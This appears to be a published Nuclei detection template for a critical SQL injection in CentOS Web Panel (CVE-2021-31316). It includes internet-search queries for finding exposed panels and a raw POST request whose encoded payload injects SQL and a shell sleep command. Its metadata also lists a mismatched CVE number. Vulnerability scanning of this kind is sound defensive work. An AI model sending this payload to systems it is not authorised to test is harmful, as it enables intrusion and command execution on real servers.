CentOS Web Panel - SQL Injection

ID: CVE-2021-31316

Severity: critical

Author: ritikchaddha

Tags: cve,cve2021,centos,cwpsrv,sqli

Description

The unprivileged user portal part of CentOS Web Panel is affected by a SQL Injection via the ‘idsession’ HTTP POST parameter.

YAML Source

id: CVE-2021-31316

info:
  name: CentOS Web Panel - SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    The unprivileged user portal part of CentOS Web Panel is affected by a SQL Injection via the 'idsession' HTTP POST parameter.
  reference:
    - https://www.shielder.com/advisories/centos-web-panel-idsession-root-rce/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-31316
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-31324
    cwe-id: CWE-89
    cpe: cpe:2.3:a:control-webpanel:webpanel:-:*:*:*:*:*:*:*
  metadata:
    vendor: control-webpanel
    product: webpanel
    shodan-query: title:"Login | Control WebPanel"
    fofa-query: title="Login | Control WebPanel"
  tags: cve,cve2021,centos,cwpsrv,sqli

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(header, "cwpsrv")'
        internal: true

  - raw:
      - |
        POST /login/index.php?acc=newpass HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        pass1=c3VwZXJwYXNzd29yZA%3D%3D&idsession=a'%20UNION%20SELECT'a'%2c'b'%2c'c'%2c'YWJjIiBVTklPTiBTRUxFQ1QgJ2EnLCdiJywnYycsJ2QnLCcrMSBkYXknLCdmJy0tIHAiO3NsZWVwIDc7I2B8fGF8fGJ8fGN8fGQ%3d'%2c'e'%2c'f'-- p

    matchers:
      - type: dsl
        dsl:
          - 'duration>=7'
          - 'status_code == 200'
          - 'contains(response, "Control WebPanel")'
        condition: and
# digest: 4a0a00473045022076575aa16e6a82a762d217cc6d0287e8acacb967c6ec98c220dc13d5c1b1d249022100d4fd66c23177f7c100ee503333f7f5a980cbd5650ee576d893aed8d8b0ff5382:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-31316.yaml"

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